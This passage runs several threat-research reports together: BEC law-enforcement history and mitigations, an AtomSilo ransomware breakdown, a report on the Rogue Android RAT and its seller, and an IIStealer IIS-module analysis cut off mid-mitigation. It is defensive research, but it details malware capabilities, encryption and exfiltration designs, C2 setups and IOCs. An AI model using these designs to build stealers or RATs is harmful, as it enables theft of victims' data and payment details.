which it called Operation WireWire. Over the course of six months and in close collaboration with Palo Alto Networks, FlashPoint, the National Cyber Forensics Training Alliance (NCFTA), and several others, law enforcement agencies were able to arrest 74 actors worldwide. Building off this trailblazing effort, a year later the FBI launched Operation Rewired, in which another 281 actors were arrested worldwide. This included 167 individuals that were arrested in Nigeria in close coordination with the EFCC. In June 2020, a Nigerian social media influencer who goes by the handle “Hushpuppi” was arrested in Dubai. Though he was known for influencer activities such as posing next to private jets and luxury cars, he was subsequently indicted by the FBI for stealing over $24 million. Around the same time, we witnessed a significant shift in how U.S. law enforcement entities viewed the challenge of BEC actors operating beyond their reach internationally. While arrests and prosecutions are a vital part of the law enforcement process, it's also important to acknowledge that BEC is not a problem that we can solve solely through arrests. Other instruments of national power should be applied to this problem set. In June 2020, the United States Attorney's Office in the District of Nebraska opted to apply U.S. Treasury sanctions to six Nigerian BEC actors for the first time. This action was novel in that it demonstrated an ability to impose a cost on foreign cybercriminals by directly denying access to U.S. financial systems. It further made it illegal for individuals and organizations to transfer funds to these actors and significantly raised the consequences for money mules and others that assisted these actors in their crimes. As a final example, in November 2020, Interpol, in conjunction with the NFP, arrested three Nigerian actors accused of using 26 different malware families to conduct BEC activities against victims in over 150 countries. Although the total losses are unknown, at the time of the arrest, law enforcement agents discovered a list of 50,000 victims targeted over the course of four years. Combined, these examples highlight several of the major industry successes in combating BEC activities over the years. Consequently, they also cause us to pause and reflect on the challenges of combating this threat and the financial motives driving its continued existence. In terms of the latter, there is often speculation that because of the technical skills of these actors, it would be devastating if they began adopting ransomware. While such a transition is technically feasible, it is also unlikely for two reasons. First, BEC activities in Nigeria and elsewhere evolved from advanced fee style scams. These scams were generally considered culturally permissible in many places as they were perceived to be akin to jokes, pranks, or fooling victims into transferring funds. Conversely, activities demanding ransom payments do not fit this model and tend to be culturally and ethically incongruent with this population of cyber actors. More specifically, it is common to see Nigerian actors speak out in disdain against kidnapping and other ransom-demanding events in their home country. Second, and equally important, it’s difficult to justify a financial motive for BEC actors to switch to ransomware. The examples above show two actors making $60 million and $24 million respectively from their BEC activities. Compare those numbers with the recent Colonial Pipeline ransomware event in which DarkSide demanded $4.4 million and kept almost none of it. It becomes easy to see why pursuing higher-risk, higher-visibility activities like ransomware may not be as appealing or financially profitable as the current BEC status quo. Finally, as it applies to combating this threat, our experience has shown that the largest challenge is, surprisingly, the ability of law enforcement to identify victims. Given how these schemes work, most victims don’t discover the fraudulent wire transfer until days, weeks, or months later. By that time, calling local authorities to investigate is often a moot point, as funds are irrecoverable, and therefore many victims opt not to report the crimes. Conversely, from the vantage point of law enforcement, BEC is a relatively unique form of cybercrime in that the actors perpetrating the crimes are often easily identifiable. Thus, in a reversal of expectations, it is common for investigators to spend considerable time and resources trying to find victims in their specific legal jurisdictions, as the actors themselves and their malware campaigns are already known. Because of this gap, we would conclude by encouraging all organizations who experience a BEC loss to report the event, regardless of timing or circumstances, to organizations like the Internet Crime Complaint Center (IC3). Doing so will tremendously aid efforts to continue combating this threat in the future. ## Protections and Mitigations The best defense against these evolving threats is a security posture that favors prevention. We recommend that organizations implement preventative practices including: 1. Review network security policies, focusing on the types of files (portable executables, documents with macros, etc.) that employees can download and open on devices attached to company networks. Additionally, as a best practice, URL filtering rules should be established to restrict access by default to the following categories of domains: Newly Registered, Insufficient Content, Dynamic DNS, Parked, and Malware. 2. Routinely review mail server configurations, employee mail settings, and connection logs. Focus efforts on identifying employee mail-forwarding rules and identifying foreign or abnormal connections to mail servers. When possible, consider implementing geo-IP blocking. For example, small local businesses do not need to allow logon attempts from foreign countries where they have no employees. 3. Conduct employee training. Routine cyberthreat awareness training is one component; however, organizations should also consider tailored training focused on their sales and finance components. Such training should require all wire transfer requests to be validated using verified and established points of contact for suppliers, vendors, and partners. 4. Conduct tabletop exercises and rehearsal investigations with the intent of determining sources of evidence, as well as gaps in the types of evidence needed, and establishing reporting points of contact for the appropriate authorities. Additionally, rehearsals should validate familiarity with the financial fraud kill chain and make clear that staff know which personnel are responsible for enacting it. 5. Conduct compromise assessments on an annual or more frequent basis to test organizational controls and validate that there is no unauthorized activity occurring in the environment. By reviewing mailbox rules and user login patterns on a regular basis, these assessments can verify that controls are functioning as expected and that unwanted behaviors are being effectively blocked throughout the environment. Finally, for Palo Alto Networks customers, our products and services provide several capabilities designed to thwart BEC attempts, including: - Cortex XDR protects endpoints from all malware, exploits, and fileless attacks associated with SilverTerrier actors. - WildFire® cloud-based threat analysis service accurately identifies samples associated with information stealers, RATs, and Microsoft Office document packaging techniques used by these actors. - Threat Prevention provides protection against the known client and server-side vulnerability exploits, malware, and command and control infrastructure used by these actors, including CVE-2017-11882. - Advanced URL Filtering identifies all phishing and malware domains associated with these actors and proactively flags new infrastructure associated with these actors before it is weaponized. - Users of AutoFocus™ contextual threat intelligence service can view malware associated with these attacks using the SilverTerrier tag. ## Conclusion BEC schemes remain the most profitable and widespread form of cybercrime on the internet today. Last year, global losses from these crimes eclipsed $1.8 billion, and the threat shows no sign of slowing down. Reviewing the recent history of the threat, we have observed positive changes in the ecosystem as the culture in countries like Nigeria has become less tolerant of these activities, and law enforcement entities have stepped up their efforts to find, arrest, and prosecute these actors. There is still plenty of work to be done to combat this threat as it shifts toward new delivery techniques in our rapidly evolving world. Commensurate with all of the changes we have seen and implemented in the cybersecurity domain over the past year, we encourage all organizations to invest in a thorough review of controls they have in place to protect against this threat.
# AtomSilo Ransomware Enters the League of Double Extortion Ransomware is used widely in cyberattacks to disrupt the victim's organization. Over the last two years, many attackers have evolved their ransomware tactics to include data exfiltration. This tactic is known as "double-extortion": attackers demand ransom for the data decryption in addition to the ransom to prevent public release of the stolen data. ThreatLabz monitors these threat actors and analyzes the attack sequences of double extortion attacks. AtomSilo is a new player on the scene, and in this blog, we'll break down the details of their attacks. ## Introduction AtomSilo ransomware emerged around September 2021, with their tactics including exfiltrating and publishing their first victim's data. We'll break down one of their attacks, which started with initial access through exploiting a vulnerability in Atlassian’s Confluence collaboration software. The ransomware operators planted a backdoor using legitimate software via a DLL side loading technique. The backdoor allowed remote code execution of Windows Shell commands through WMI (Windows Management Interface), which operators exploited using compromised administrative accounts before dropping AtomSilo. ## Technical Analysis The AtomSilo payload is 64-bit and packed with a modified UPX packer. Once executed, it enumerates each drive and drops a ransom note in each folder except the few listed in Table 1. The ransom note is named “README-FILE-{COMPUTER_Name}-{DateTime}.hta”. ### Table 1: List of files and folders | Folder name | File name | |----------------------|--------------------| | Boot | autorun.inf | | Windows | index.html | | Windows.old | boot.ini | | Tor Browser | bootfont.bin | | Internet Explorer | bootsect.bak | | Google | bootmgr | | Opera | bootmgr.efi | | Opera Software | bootmgfw.efi | | Mozilla | desktop.ini | | Mozilla Firefox | iconcache.db | | $recycle.Bin | ntldr | | ProgramData | ntuser.dat | | All Users | ntuser.dat.log | | | #recycle | | | thumbs.db | | | ntuser.ini | It also does not encrypt files with the following extensions: ### Table 2: List of extensions | Extension | |-----------| | .hta | | .idx | | .hlp | | .ini | | .html | | .sys | | .icl | | .cab | | .exe | | .spl | | .icns | | .cur | | .dll | | .ocx | | .ico | | .cpl | | .cpl | | .drv | ## File Encryption Ransomware appends “.atomsilo” extensions to files after encryption. Ransomware uses “CreateFileMappingA” and “MapViewOfFile” APIs to map the file in memory and moves the pointer to the start of the mapped file. AtomSilo uses XOR and AES Encryption algorithms to encrypt files. It generates AES round keys using the “AESKEYGENASSIST” instruction. The encryption key is 240 bytes. The first 32 bytes are randomly generated by the payload, and other 208 bytes are generated using the “AESKEYGENASSIST” instruction. In the file, it takes 16 bytes of plain text and does XOR as a first stage encryption. Then, it encrypts it with 14 rounds of AES encryption. It uses “AESENC” instruction for the first 13 rounds and the last round uses “AESENCLAST” instruction. It encrypts chunks of the file, not the complete file. It encrypts the first 16 bytes, leaves the next 32 bytes as-is, encrypts the next 16 bytes, and so on. The encryption key and other information are encrypted and appended at the end of the encrypted file. ## Data Leak Site According to their leak sites, AtomSilo actors won't attack the following types of organizations: - Hospitals - Critical infrastructure facilities (nuclear power plants, power plants, water treatment facilities) - Oil and gas industry (pipelines, oil refineries) - Educational units - Non-profit companies They also promise to provide free decryption if the victim company is on the above list. The first data leak was from a Brazilian pharmaceutical company. AtomSilo published around 900 GB of data. ## Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. **IOC** **Md5** 04a8307259478245cbae49940b6d655a
# Going Rogue: A Mastermind Behind Android Malware Returns with a New RAT **Research by:** Aviran Hazum, Alex Shamshur, Raman Ladutska, Ohad Mana, Israel Wernik **Date:** January 12, 2021 ## Introduction Now more than ever, we rely on our smartphones to keep in touch with our work, our families, and the world around us. There are over 3.5 billion smartphone users worldwide, and it is estimated that over 85% of those devices – around 3 billion – run the Android OS. Therefore, it is no surprise that criminals and threat actors are actively targeting this vast user base for their own malicious purposes, from trying to steal users’ data and credentials to planting moneymaking malware, spyware, or ransomware, and more. However, from the threat actors’ perspective, gaining a foothold on victims’ mobiles is an evolving challenge because the built-in security features on some phones and the controlled access to official app stores such as Google Play do offer a measure of protection to users. This means that would-be attackers have to develop new and innovative mobile infection vectors and use and refine new skills and techniques to bypass security protections and place malicious apps in official app stores. Check Point Research (CPR) recently encountered a mastermind’s network of Android mobile malware development on the dark net. This discovery piqued our interest, as it was extraordinary, even by dark net standards. CPR researchers decided to dig deeper to learn more about the threat actor behind the network, his products, and the business model behind malicious targeting of Android mobile devices. ## Deep Dive: Journey into the Dark Web We tracked the activity of the threat actor, who goes by the nickname Triangulum, in several Darknet forums. “Triangulum” in Latin means “triangle,” and the term is commonly used in relation to the Triangulum galaxy, which is a spiral galaxy located in the Triangulum constellation. Just like the Triangulum galaxy, it is hard to spot the traces of the Triangulum actor. But once you do spot him, he’s relatively easy to follow. ### Profile - **Nickname:** Triangulum™ - **Skype:** triangulum_10 | crook_62 - **Email:** [email protected] - **Discord:** Triang#9504 - **Alternate identities:** Magicroot - **Alleged origin:** Indian - **Strengths:** High level of social skills combined with a math background in trigonometry, integration, and differentiation - **Age:** Approximately 25 years old - **Personal details:** - 190cm tall - Had two tortoises as home pets back in 2017 - Had a girlfriend back in 2017 (current marital status is unknown) - **Preferable laptop models:** Lenovo, HP, Sony, Dell In the past few years, Triangulum has been active in the dark corners of the internet, showing an impressive learning curve. Over a two-year period, he dedicated most of his time to evaluating market needs and developing a merch network from scratch by maintaining partnerships, rooting investments, and distributing malware to potential buyers. Triangulum appears to have gotten started at the very beginning of 2017 when he joined the hack forums in the Darknet. Triangulum initially exhibited some technical skills by reverse engineering malware but at that point in time still seemed to be an amateur developer. He also communicated with different users, trying to estimate the market value for different kinds of malware. On June 10, 2017, Triangulum provided a first glimpse of a product he developed by himself. This product was a mobile RAT that targeted Android devices and was capable of exfiltrating sensitive data to a C&C server, as well as destroying local data, even deleting the entire OS. As Triangulum moved on to marketing his product, he looked for investors and a partner to help him create a PoC to show off the RAT’s capabilities in all its glory. On October 20, 2017, Triangulum offered his first malware for sale. After that, he vanished from the radar for a period of a year and a half, with no evident signs of activity in the Darknet. Triangulum surfaced again on April 6, 2019, with another product for sale. From this point on, he became very active, advertising four different products within half a year. It appeared that he had spent his time off creating a well-functioning production line for developing and distributing malware. ### Helping Hand Maintaining the production and marketing of multiple products in such a short period of time is a tall order, which raised our suspicion that there was more than one actor behind this merch network. It appeared that someone was helping Triangulum. After further digging, we observed evidence that indicated Triangulum was sharing his kingdom with another actor nicknamed HexaGoN Dev. This cooperation seems to have risen from previous deals between the two, as in the past, Triangulum purchased several projects created by HeXaGoN Dev, who specialized in developing Android OS malware products, RATs in particular. Working together, Triangulum and HeXaGoN Dev produced and distributed multiple malwares for Android, including crypto miners, key loggers, and sophisticated P2P (Phone to Phone) MRATs. ### Marketing Efforts Triangulum advertised his products on different Darknet forums, even using the services of a visual illustrator to design attractive and catchy info brochures for the products. This was a major improvement over his older advertising efforts that looked pretty amateurish. Despite the fact the malware was sold at affordable prices and with different subscription plans, apparently that wasn’t enough for the Triangulum team. We observed some dirty marketing tricks from the actors. Once, HeXaGoN Dev pretended to be a potential buyer and commented on one of Triangulum’s posts, promoting the product and praising the development in order to attract more customers. It is interesting to note that the team doesn’t want to show demo videos of their products in action. Triangulum explained that a demo video is unnecessary. ### Reputation We’ve seen indications that Triangulum is obsessed with his reputation and cares about his popularity with the same level of thoroughness as he does about maximizing his profits. He fanatically defends his products and tries to crush anyone brave enough to raise uncomfortable questions about or discredit his work. Triangulum’s reputation allows him to be a respected member of the hacking society; he receives a lot of positive feedback and has a high status on his home forum. This helps his sales as well: when customers see someone who is a long-term member with many products behind him, together with positive feedback from other users and confident replies by the author, this makes them more inclined to make a purchase. ### Learning Through Failure However, as Triangulum soon learned, a good reputation on his home forum does not guarantee automatic success on others. In April 2020, he attempted to spread his sales network to the Russian segment of the Darknet. He made a post offering one of his products for sale. Despite his previous reputation on his home forum, he didn’t receive a warm welcome here. Users were not ready to pay for the product without a demo video, especially to a relative unknown as he was on this new site. After several other increasingly acrimonious posts, the topic was closed with the resolution “Topic-author could not be trusted” with a suggestion to attempt to gain users’ trust. All of this transpired within a period of just five days after the topic was opened. What worked well in Triangulum’s home forum didn’t stand a chance in the Russian segment. He clearly took this lesson to heart, as we have not observed any activity in other Darknet segments since then. Instead of adjusting to customer demands, he stuck to his scheme of what had worked previously and didn’t want to change it even slightly. ## Punchline After years of efforts which included trying different marketing techniques that involved authentic sales manipulations, HeXaGoN and Triangulum were now ready to present their latest creation, crown jewel – Rogue. ## Dissecting the Impostor: Taking a Peek at the Rogue Malware The Rogue malware family is an MRAT. This type of malware can gain control over the host device and exfiltrate any kind of data (photos, location, contacts, messages, etc.), modify the files on the device, download additional payloads, and basically anything else that comes to mind. ### Malware Origins Inside the Rogue package, we found two main components. One was what appeared to be DarkShades malware, and the other one was Hawkshaw. What’s so interesting here is that neither of them initially belonged to Triangulum. DarkShades was originally sold in the Darknet by HeXaGoN in August 2019. The DarkShades project was officially sold to Triangulum three days after the initial sales began, and a new sales thread was created, this time by Triangulum himself. What Triangulum did was to embellish the advertisement compared to the original one. DarkShades was not the original product developed, as indicated by the name of its main package (“com.cosmos”) which is a direct link to another product sold by HeXaGoN earlier that year: Cosmos RAT. Interestingly enough, this malware was not acquired to be re-sold by Triangulum. Given the fact how methodically he re-sold other HeXaGoN products, this gap is likely due to DarkShades being a superior successor to Cosmos. Thus, re-sale of Cosmos was unnecessary. Regarding Hawkshaw, its malware source code was leaked in 2017 and is available on the web ever since. The version that we discovered inside the Rogue package is “v.1.17”. A summary of Rogue’s genealogic tree is shown in the diagram below. Rogue appears to be the latest iteration in malware developed and maintained by HeXaGoN and Triangulum. However, we cannot call it an entirely new malware family. Rather, it’s the combined version of the Cosmos and Hawkshaw malware families. We also have to add that Triangulum didn’t develop his creation from scratch but took what was available from both worlds, open-source and the Darknet, and united these components. ### Technical Details Let’s take a look at what the Rogue package has under the hood. #### Maintaining Persistence When Rogue successfully gains all of the required permissions (if all of the required permissions are not granted, it will repeatedly ask the user to grant the missing permissions), it hides its icon as a camouflage defense, making sure it will not be easy to get rid of it. The malware then registers as a device administrator. If the user tries to revoke the admin permission, an onscreen message designed to strike terror in the heart of the user appears: “Are you sure to wipe all the data??” In addition, by comparing specific pre-defined values to ones given by the system, Rogue can detect a virtual environment, which may lead to a delay or abort of its malicious intentions. #### Networking The Rogue malware family adopted the services of the Firebase platform to disguise its malicious intentions and masquerade as a legitimate Google service. Rogue uses Firebase’s services as a C&C (command and control) server, which means that all of the commands that control the malware and all of the information stolen by the malware is delivered using Firebase’s infrastructure. Google Firebase incorporates a dozen of services to help developers create mobile and web applications. The Rogue malware uses the following ones: - “Cloud Messaging” to receive commands from the C&C. - “Realtime Database” to upload data from the device. - “Cloud Firestore” to upload files. There are multiple types of Firebase accounts hidden in the code of the Rogue malware: - GUARDIAO - PHOENIX - SPITFIRE - AVIRTEK - HAWKSHAW In addition, depending on the value of the field “APP_VERSION” in the malware’s manifest file, Rogue can run on “MINIMUM” configuration, which as the configuration name suggests, is designed to draw the minimum amount of attention. Below is the full list of commands and capabilities that can be executed by the Rogue malware: | Command | Description | Configuration | |----------------------------------|-----------------------------------------------------------------------------|----------------| | getLocation | Add current location and current timestamp to the Firebase Database. | | | getMessages | SMS messages and the current timestamp are added to the Firebase Database. | | | makeCall | Application initiates a phone call to a provided phone number. | Disabled | | getImages | Make thumbnails of an album with its name and upload thumbnails to the Firebase Cloud Store. | | | deleteCallLog | Removes records from the provided type of call-log. | | | fileExplorer | Store a list of directories by a provided path in the Firebase Database. | | | recordCamera | Starts recording from selected cameras and for a provided duration. | Disabled | | installApp | Installs an application from a provided URL. | | | syncWhatsappMessages | Upload messages collected from chat programs to the Firebase Database. | | | fileDownloadToLocal | Downloads a file from a provided URL to a provided local path. | | | deviceAdmin | Activates the device admin permission for an application. | | | openApp | Launches an application with a provided name. | | | getContacts | Uploads all contacts to the Firebase Database. | | | root | Executes a shell command. The output of the command is stored in the Firebase Database. | | | takePicture | Takes a photo from a selected camera and uploads the photo to the Firebase Cloud Store. | Disabled | | deleteFile | Deletes a file or directory per the provided path. | | | downloadFile / uploadFile | Uploads a file by a provided path to the Firebase Cloud Store. | | | sendMessage | Sends a custom SMS message to a specified number. | | | recordScreen | Records a video of the device’s screen. | Disabled | | deleteContact | Deletes a specified contact. | | | updateCallBlockList | Updates the local list of call blocked numbers with a list from the Firebase Database. | | | takeScreenShot | Takes a screenshot of the current screen. | Disabled | | recordAudio | Starts recording from a microphone for a provided duration. | | | deviceInfo | Collects information about the device. | | | cancelScheduledCommand | Cancels the execution of a scheduled pending command. | | | usageStats | Gets statistics of the device’s applications usage. | Disabled | | getInstalledApps | Stores the current timestamp and list of installed applications in the Firebase Database. | | | deleteFiles | Deletes files from the device by a provided path. | | | openBrowser | Opens the Chrome browser and navigates to a specific URL. | Disabled | | zipFiles | Zips files in a specified path. The resulting zip-file is uploaded to the Firebase Cloud Store. | | | addContact | Creates a new contact. | | | login | Attempts to log back into the Firebase account with a provided email and password. | | | getAllScheduledTasks | Dumps all scheduled tasks into a log and uploads it to the C&C server. | | | cancelAllScheduledCommands | Similar to “cancelScheduledCommand” but for all pending commands. | | | addCallLog | Adds a new record to the call log with a provided number, the duration, date, and the type of the call. | | | updateFCMToken | Updates the token that is used for the Firebase service. | | | deleteApp | Uninstalls application by a provided package name. | Disabled | | clearWhatsappMessages | Removes saved sniffed IM messages from applications in the local database. | | | runJobScheduler | Starts a scheduler for executing jobs scheduled by the “scheduleCommand” command. | | ### Spreading Arms Like many other malicious applications, Rogue can adapt the accessibility service to suit its own needs. The Android accessibility service is the OS assistive service that is used to mimic the user’s screen clicks and has the ability to automate user interactions with the device. Some malwares, Rogue among them, use the accessibility service as the Achilles Heel in Android’s defensive armor to get around OS security restrictions. Rogue uses the accessibility service for logging and documenting the user’s actions and to upload the collected data to the cloud C&C server. Rogue logs the following user actions: - TYPE_VIEW_TEXT_CHANGED - TYPE_VIEW_FOCUSED - TYPE_VIEW_CLICKED In addition, the malware registers its own notification service which is used to sniff every notification that pops up on the infected device. Every notification that is triggered after the implantation of the service is being saved to a local predetermined database and will later be uploaded to the Firebase Database. The malware saves multiple types of notifications and parses them by splitting each notification into these fields: - Message Body - Sender - Timestamp However, notifications from the following list, which usually contain more sensitive and higher value data, are parsed separately: - com.facebook.katana - com.facebook.orca - com.instagram.android - com.whatsapp - com.skype.raider - org.telegram.messenger - kik.android - jp.naver.line.android - com.google.android.gm - com.tencent.mm Rogue also maintains a “Block List” for phone numbers. The malware can choose which numbers are in this list, and if it detects an incoming or an outgoing call to one of these numbers, it drops the call. This is done by registering a call receiver called “me.hawkshaw.receiver.CallReceiver” that later uses the “CallBlock” handler to block a certain call. On the other hand, when accepting calls, Rogue can record each and every call, incoming or outgoing, and leak it to the Firebase Cloud Store. ### Current State of Affairs In April 2020, the Rogue RAT package was leaked on one of the Darknet forums. It’s reasonable to assume that the leakage could majorly affect Triangulum’s sales. However, it turns out that the reputation forged on his home Darknet forum does speak for itself; even after the leakage, Triangulum’s team still receives messages on his home Darknet forum from interested customers. In fact, at the time this report was written, Triangulum is still active and expanding his customer network. Despite all the obstacles and some failures (like an unsuccessful attempt to start sales in the Russian Darknet segment) along the way, together with HeXaGoN he still distributes malware products through his home Darknet forum. ## Conclusion The Rogue malware and the story behind it is the perfect example of how mobile devices are exploited. Just like with Rogue malware, other threat actors are practicing and learning, sometimes for years, till they are ready to apply their knowledge as effectively as they can, in either malware development or malware sales. Triangulum shows would-be threat actors that you don’t have to invent new malware every time you want to offer a new product for sale. Instead, you can apply your soft skills in marketing to build up and maintain a sales reputation, and create catchy advertisements and different names for a product that appears to be another version of what already exists. A lesson to draw here is that threat actors have created a reality in which we cannot be complacent. We must stay constantly vigilant for threats that are lurking around the corner and understand how to protect ourselves from them. In any case, if you’re stepping into this arena, you’d better come prepared. In this research, CPR uncovered a fully active market that sells malicious mobile malware, living and flourishing on the dark net and other related web forums. Similar to Triangulum, other threat actors are perfecting their craft and selling mobile malware across the dark Web – so we need to stay vigilant for new threats that are lurking around the corner and understand how to protect ourselves from them. ## IOCs ### C&C servers - bald-panel.firebaseio.com - hawkshaw-cae48.firebaseio.com - spitfirepanel.firebaseio.com - phoenix-panel.firebaseio.com ### Hashes **SHA256** - 1f5850b3a38df372cc40987b376cbf093ed5dd5d9e99e3ead61b24aa8cc82976 - 28a74b00f590cc85578dad296271ed0a91225b876c088a4fae2a7e9d06636347 - 2beb5e9d9ba93acc1d5f858c3e4fdeee04e0741eb44ab0a3a5a98ce2687f38a7 - 36ebc45ee083d8478372916a7d9bf4f7f26bdd1cd8f10765ec6e375bf73962f4 - 3dc2f2a200630294fc0af904ddf611f9ecfe8a4c65899aff8d6b56aed53177f8 - 3ead4a167d118105164e9c13de0fa14d06ea0dc32d02c861bde4c8bef4e0bd07 - 41ad6c0c6eb93877adb8a319520bba43a334cae463379feccb5b6df3bb94b530 - 4478a2e8a952529bbe1bf0a1f1d98f197ff1717f1dab1635cfe151c4771d3561 - 49b353ac2ba897672644ea6aff8edc69ac7fc195b96c069c338f7da588674871 - 4ad6b698cfd2af542fca2316b94e1f213025d48e0895f1a127dec789c4b4dded - 4d24880ac70f7d7b3997316ca01854413de0d8df5bb30ce757280a28713ae7e4 - 4e0bcfc83f8a2714acbf1725262827ec17f61c5826cd5cf0837d1642fdc5b25e - 5a8de8e601fb1577321ded7475b28f8c72157bb6bcf2857c99cbc7a39489c71a - 5de7799e1d95daaaceb6e158dfb27e44fd93021c7676f728b0e157e1bd2099c7 - 62078c7099dd3485b45ac8bec8fcecbc2662f6c21d3b309dc7a865df6a822794 - 64905ad7b0f635efb0402d57d0b0d7d31832ca66afac2fe17379877004a32e73 - 6ad406fa29e2f327d9672e1f8578d89aa1f1cc242c7a9ee83ede3cebd313ca09 - 6e89e0e52fec1bff8175742570d9a40cb32be6c869e885077db9b13b1e39ef80 - 71cc0cd5979cce2ee72073e81c47262465fd8158d10a7d29cd86cae6ffa12607 - 72c60de4ae67237bbcdc8d9bdda38c2374cb0d4a1364239ecb9ef4992a6253e2 - 734c9146be56c9c1e1abb7dfa533d8ebec77ceae8550d7918dd7e38e4f4dc721 - 7a6c738f4bdecffcbfa8a29eae1091876f34d9c91cd21b51a7e51896a69be3ac - 7bea11940ef818db0b3284c5e6b651e8551b5f2662808e3c48e2e92a55156ff3 - 82c07ab7460204b60e4cd4c2f5e263db538e128382341f8dfa727800d3e0c980 - 901c93ee5bc2a474c20379bd07eac08cc27266a39b3b6b563c0ffa7dfcebec88 - 928cdc76250852b5161ca0ca418b82cf3033e1b21d419a9654a29a68b43e4aa5 - 974615a4902d920895b4fe03e4f987f56471f003daf82d2930c9fdbdc56bc048 - 9eb556a52bf26e284a6c333f09d576e61fad9f76d4d4b7abb86cfe099108b8a0 - a08db81e33f978da7b540228d04ddce47f447b4501b9f70fba46f5acf74e038a - a1002512a86d7af9c4fd5579f87baee7d377e84373cae475a83beb9438eb17e7 - ae3afac1ddbf6853845c8a62f9adaaa5ea872141da2dd8be5a6d61b84bf1da9a - af89e25c4add8bc5a5d5cd1a16479ecd8f40577766d8ea8e42eb6bcae7d3ba9d - b93ba6614762120f200efdee98ba2f5f3f3f55f152279c70422d2014f770cf8e - bcd53e2e363daf5eb719c0892d49d15261189fe8711adc9ad40fcbe646956622 - c2893c0cdb3e67f3052fe3f819f03f5d52610d0904dad11aa353db202ead6c00 - caa38f6ae2969e885757ff0cfce69b7981d4c115740f12cd18b4088b47a97dee - cf519a751ea25f59f99d7f90dfba82c109b11725fe9cbeb479c3ec358f124e99 - d910ff3e1ff1c8355d603113dfdf6de3859e206bdd704b83a75c7efb7ab7a594 - dfd18ac31b4b90ac72649de6ed663fa2fd8719606cd4da7126098e58288693ce - e0e1fb9d914d0626c4e7b4999afdd02f070cea1bc5a446f7073566d94493161f - e2f611c47efd760a41090293792ad8ebe6ae972c75fe136639c4cc98561b4e98 - f47d06ddf3525e244f5d58e9c3ea5f1977845c917b84fca28363d1797d70715e - fa7fcbf01a252e1f0d3028512e5d58ab18674bc415d4956e28d1e3fea835d724 - 10988044a6db87ff8a526aa4a5004c9fafb8631d4373bf3e7ec76e5e47690eb9 - cb1cbb2cadb2f265b38fae9bad0d622cdf4d7c071924a0346679fb3decafa95c - 4105f8c46caa7b715d003a8d39ecf2d22b107000961a232538766830a741657b - a4058e6e6f81ec4c8bb234b5df11ad9b459221cc7d1b0acba733ffd6e1f1f930 - b790affd3fc6591779fa0c06f6c8e47fbc1b2b76399842f12fbd792edb8bb98c
# IIStealer: A Server-Side Threat to E-Commerce Transactions The first in our series on IIS threats looks at a malicious IIS extension that intercepts server transactions to steal credit card information. ESET researchers have discovered and analyzed a previously undocumented trojan that steals payment information from e-commerce websites’ customers. The trojan, which we named IIStealer, is detected by ESET security solutions as Win64/BadIIS. This blog post is the first installment in our series where ESET researchers put IIS web server threats under the microscope, with the other two parts discussing IIS malware used for cyberespionage and SEO fraud, respectively. For a comprehensive guide to how to detect, analyze, and remove IIS malware, refer to our white paper *Anatomy of Native IIS Malware*, where IIStealer is featured as one of the studied families (Group 5). ## Attack Overview IIStealer is implemented as a malicious extension for Internet Information Services (IIS), Microsoft web server software. Being a part of the server, IIStealer is able to access all the network communication flowing through the server and steal data of interest to the attackers – in this case, payment information from e-commerce transactions. IIStealer operates by intercepting regular traffic between the compromised server and its clients (the seller and the buyers), targeting HTTP POST requests made to specific URI paths: `/checkout/checkout.aspx` or `/checkout/Payment.aspx`. Whenever a legitimate website visitor makes a request to these checkout pages, IIStealer logs the HTTP request body into a log file, without interfering with the HTTP reply generated by the components of the legitimate website. Adversaries can then exfiltrate the collected data by making a special HTTP request to the compromised IIS server: once IIStealer detects a request made to a specific URI (`/privacy.aspx`) with an attacker password included in the X-IIS-Data header, it embeds the collected data in the HTTP response for that request. With these capabilities, IIStealer is able to steal credit card information sent to e-commerce websites that don’t use third-party payment gateways. Note that SSL/TLS and encrypted communication channels don’t secure these transactions against IIStealer, as the malware can access all data handled by the server – which is where the credit card information is processed in its unencrypted state. The samples of this malware that we analyzed seem to be tailored for specific e-commerce websites (with hardcoded checkout page URIs). According to our telemetry, targeted were a small number of IIS servers in the USA, between September 2020 and January 2021, but this is likely affected by our limited visibility into IIS servers – it is still common for administrators to not use any security software on these servers. ## Technical Analysis IIStealer is implemented as a malicious, native IIS module – a C++ DLL dropped in the `%windir%\system32\inetsrv\` folder on the compromised IIS server and configured in the `%windir%\system32\inetsrv\config\ApplicationHost.config` file. In some cases, IIStealer is deployed under the name `dir.dll` and uses a forged VERSIONINFO resource to mimic a legitimate Windows IIS module called `dirlist.dll`. Because it is an IIS module, IIStealer is loaded automatically by the IIS Worker Process (w3wp.exe), which handles the requests sent to the IIS web server – this is how IIStealer achieves persistence, and how it can affect the processing of incoming requests. We don’t have any information about how the malware is spread, but we know that administrative privileges are required to install it as a native IIS module, which narrows down the candidates for the initial compromise. A configuration weakness or vulnerability in a web application, or the server itself, are likely culprits. As for its technical characteristics, IIStealer implements a core class inherited from CHttpModule (module class) and overrides the CHttpModule::OnPostBeginRequest method with its malicious code. As with all native IIS modules, IIStealer exports a function named RegisterModule, where it instantiates the module class and registers its methods for server events – more specifically, it registers for the RQ_BEGIN_REQUEST post-event notification that is generated every time the server starts processing an inbound HTTP request. As a result, the OnPostBeginRequest method is called with each new request, which allows IIStealer to affect the request processing. In the OnPostBeginRequest handler, IIStealer filters incoming HTTP requests by request URIs. All POST requests made to `/checkout/checkout.aspx` or `/checkout/Payment.aspx` are logged – along with their full HTTP bodies – into a file named `C:\Windows\Temp\cache.txt`. These requests are made by legitimate visitors of the compromised e-commerce websites and can contain sensitive information such as personal details and credit card numbers. The collected data can be exfiltrated via a specifically crafted HTTP request from the attacker. This request must have an X-IIS-Data HTTP header set to a hardcoded, 32-byte alphanumeric password, and must be sent to a URL path specified in the malware sample: `/privacy.aspx` or `/checkout/Payment.aspx`. Once the malicious module detects such a request, it uses the IHttpResponse::Clear method to delete any HTTP response prepared by the IIS server, and copies the unencrypted contents of the log file into the HTTP response body. This allows the operators of IIStealer to access and exfiltrate the collected data by simply sending a special request to the compromised IIS server – there is no need for the malware to implement additional C&C channels, or embed any C&C server domains in its configuration. ## Mitigation IIStealer is a server-side threat that eavesdrops on the communications between a compromised e-commerce website and its customers, with the goal of stealing sensitive payment information. The best way to harden an IIS server against IIStealer and other threats is to: - Use dedicated accounts with strong, unique passwords for the administration of the IIS server. - Regularly patch your OS, and carefully consider which services are exposed to the internet, to reduce the risk of server exploitation. - Only install native IIS modules from trusted sources. - Consider using a web application firewall, and/or endpoint security solution on your IIS server. - Regularly check the configuration file 